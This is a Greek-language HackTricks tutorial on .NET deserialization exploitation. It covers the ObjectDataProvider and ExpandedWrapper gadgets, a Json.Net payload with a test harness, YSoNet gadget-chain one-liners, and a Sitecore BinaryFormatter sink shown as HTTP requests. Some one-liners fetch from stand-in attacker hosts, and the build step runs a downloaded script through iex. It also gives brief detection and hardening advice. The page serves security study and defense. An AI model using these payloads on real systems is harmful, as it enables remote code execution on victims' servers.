Βασική .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτό το άρθρο αφιερώνεται στο να κατανοήσουμε πώς το gadget ObjectDataProvider εκμεταλλεύεται για να επιτευχθεί RCE και πώς οι βιβλιοθήκες Serialization Json.Net και xmlSerializer μπορούν να καταχραστούν με αυτό το gadget.
ObjectDataProvider Gadget
Από την τεκμηρίωση: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να τυλίξετε (wrap) ένα αυθαίρετο αντικείμενο, να χρησιμοποιήσετε MethodParameters για να ορίσετε αυθαίρετες παραμέτρους, και στη συνέχεια να χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση του αυθαίρετου αντικειμένου που δηλώθηκε χρησιμοποιώντας τις αυθαίρετες παραμέτρους.
Επομένως, το αυθαίρετο object θα εκτελέσει μια function με παραμέτρους κατά τη διάρκεια της απο-σειριοποίησης (deserialization).
Πώς είναι αυτό δυνατό
Ο χώρος ονομάτων System.Windows.Data, που βρίσκεται μέσα στο PresentationFramework.dll στο C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Χρησιμοποιώντας dnSpy μπορείτε να επιθεωρήσετε τον κώδικα της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Όπως μπορείτε να παρατηρήσετε όταν οριστεί το MethodName
καλείται base.Refresh()
, ας δούμε τι κάνει αυτό:
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το this.BeginQuery()
. Το BeginQuery
υπερφορτώνεται (overridden) από το ObjectDataProvider
και αυτό είναι που κάνει:
Σημειώστε ότι στο τέλος του κώδικα καλεί this.QueryWorke(null)
. Ας δούμε τι εκτελεί αυτό:
Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης QueryWorker
αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας καλεί this.InvokeMethodOnInstance(out ex);
αυτή είναι η γραμμή όπου η ορισμένη μέθοδος εκτελείται.
Αν θέλετε να ελέγξετε ότι απλώς ορίζοντας το MethodName θα εκτελεστεί, μπορείτε να τρέξετε αυτόν τον κώδικα:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Σημειώστε ότι χρειάζεται να προσθέσετε ως αναφορά C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll για να φορτώσετε System.Windows.Data
ExpandedWrapper
Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το object θα απο-σειριοποιηθεί ως μια ObjectDataProvider instance (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο απο-σειριοποιήθηκε χρησιμοποιώντας GetType
). Έτσι, δεν θα υπάρχει γνώση του τύπου αντικειμένου που είναι περιτυλιγμένο στην ObjectDataProvider instance (Process
για παράδειγμα). Μπορείτε να βρείτε περισσότερες πληροφορίες για το DotNetNuke vuln εδώ.
This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε παραπάνω, γιατί θα είμαστε σε θέση να wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance και when deserialized αυτή η κλάση θα create το OjectDataProvider αντικείμενο που θα execute τη function που υποδεικνύεται στο MethodName.
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Στην official web page αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Έτσι, αν μπορούσαμε να deserialize the ObjectDataProvider gadget, θα μπορούσαμε να προκαλέσουμε RCE απλά με το deserializing ενός αντικειμένου.
Json.Net παράδειγμα
Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να serialize/deserialize ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Κατάχρηση Json.Net
Χρησιμοποιώντας ysoserial.net δημιούργησα το exploit:
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Σε αυτόν τον κώδικα μπορείτε να δοκιμάσετε το exploit, απλώς τρέξτε το και θα δείτε ότι εκτελείται το calc:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Προηγμένες .NET Gadget Chains (YSoNet & ysoserial.net)
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να κακοποιηθούν όταν μια εφαρμογή εκτελεί unsafe .NET deserialization. Συσκευές για σύγχρονα red-team όπως YSoNet (και το παλαιότερο ysoserial.net) αυτοματοποιούν τη δημιουργία έτοιμων προς χρήση κακόβουλων object graphs για δεκάδες gadgets και formats σειριοποίησης.
Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που συνοδεύουν το YSoNet μαζί με μια σύντομη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.
Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
---|---|---|---|
TypeConfuseDelegate | Διαφθείρει την εγγραφή DelegateSerializationHolder έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε οποιαδήποτε μέθοδο που παρέχει ο επιτιθέμενος (π.χ. Process.Start ) | BinaryFormatter , SoapFormatter , NetDataContractSerializer | ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | Κακοποιεί το System.Workflow.ComponentModel.ActivitySurrogateSelector για να παρακάμψει το .NET ≥4.8 type-filtering και να καλέσει απευθείας τον constructor μιας παρεχόμενης κλάσης ή να μεταγλωττίσει ένα αρχείο C# επί τόπου | BinaryFormatter , NetDataContractSerializer , LosFormatter | ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | Επωφελείται από την παλιά XML αναπαράσταση του System.Data.DataSet για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία <ColumnMapping> / <DataType> (προαιρετικά πλαστογραφώντας το assembly με --spoofedAssembly ) | LosFormatter , BinaryFormatter , XmlSerializer | ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | Σε runtime με WPF ενεργοποιημένο (> .NET 5) αλυσιδώνει getters ιδιοτήτων μέχρι να φτάσει σε System.CodeDom.Compiler.CompilerResults , και στη συνέχεια μεταγλωττίζει ή φορτώνει μια DLL που παρέχεται με -c | Json.NET typeless, MessagePack typeless | ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (review) | Χρησιμοποιεί το WPF System.Windows.Data.ObjectDataProvider για να καλέσει μια αυθαίρετη static μέθοδο με ελεγχόμενα ορίσματα. Το YSoNet προσθέτει μια βολική παραλλαγή --xamlurl για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | BinaryFormatter , Json.NET , XAML , etc. | ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | Ενσωματώνει ScriptBlock μέσα σε System.Management.Automation.PSObject που εκτελείται όταν το PowerShell αποσειριοποιεί το αντικείμενο | PowerShell remoting, BinaryFormatter | ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
tip
Όλα τα payloads γράφονται στο stdout εξ ορισμού, καθιστώντας εύκολο το piping τους σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).
Κατασκευή / Εγκατάσταση YSoNet
Εάν δεν υπάρχουν προ-συγκροτημένα binaries στο Actions ➜ Artifacts / Releases, η παρακάτω PowerShell εντολή μιας γραμμής θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε λειτουργία Release:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Το μεταγλωττισμένο ysonet.exe
μπορεί στη συνέχεια να βρεθεί στο ysonet/bin/Release/
.
Ανίχνευση & Σκληροποίηση
- Εντοπίστε μη αναμενόμενες παιδικές διεργασίες του
w3wp.exe
,PowerShell.exe
, ή οποιασδήποτε διεργασίας πραγματοποιεί αποσειριοποίηση δεδομένων παρεχόμενων από τον χρήστη (π.χ.MessagePack
,Json.NET
). - Ενεργοποιήστε και επιβάλλετε φιλτράρισμα τύπων (
TypeFilterLevel
= Full, customSurrogateSelector
,SerializationBinder
, etc.) όποτε ο legacyBinaryFormatter
/NetDataContractSerializer
δεν μπορεί να αφαιρεθεί. - Όπου είναι δυνατόν μεταβείτε σε
System.Text.Json
ήDataContractJsonSerializer
με converters βασισμένους σε whitelist. - Αποκλείστε τη φόρτωση επικίνδυνων WPF assemblies (
PresentationFramework
,System.Workflow.*
) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται.
Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ένας πρακτικός .NET sink προσβάσιμος σε αυθεντικοποιημένες ροές του Sitecore XP Content Editor:
- Sink API:
Sitecore.Convert.Base64ToObject(string)
τυλίγειnew BinaryFormatter().Deserialize(...)
. - Trigger path: pipeline
convertToRuntimeHtml
→ConvertWebControls
, το οποίο αναζητά ένα αδελφό στοιχείο μεid="{iframeId}_inner"
και διαβάζει ένα attributevalue
που αντιμετωπίζεται ως base64‑encoded σειριοποιημένα δεδομένα. Το αποτέλεσμα μεταγλωττίζεται σε string και εισάγεται στο HTML.
Ελάχιστο end‑to‑end (αυθεντικοποιημένο):
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
- Gadget: οποιαδήποτε BinaryFormatter chain που επιστρέφει ένα string (side‑effects τρέχουν κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads.
Για μια πλήρη αλυσίδα που ξεκινά pre‑auth με HTML cache poisoning στο Sitecore και οδηγεί σε αυτό το sink:
Αναφορές
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
- watchTowr Labs – Sitecore XP cache poisoning → RCE
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.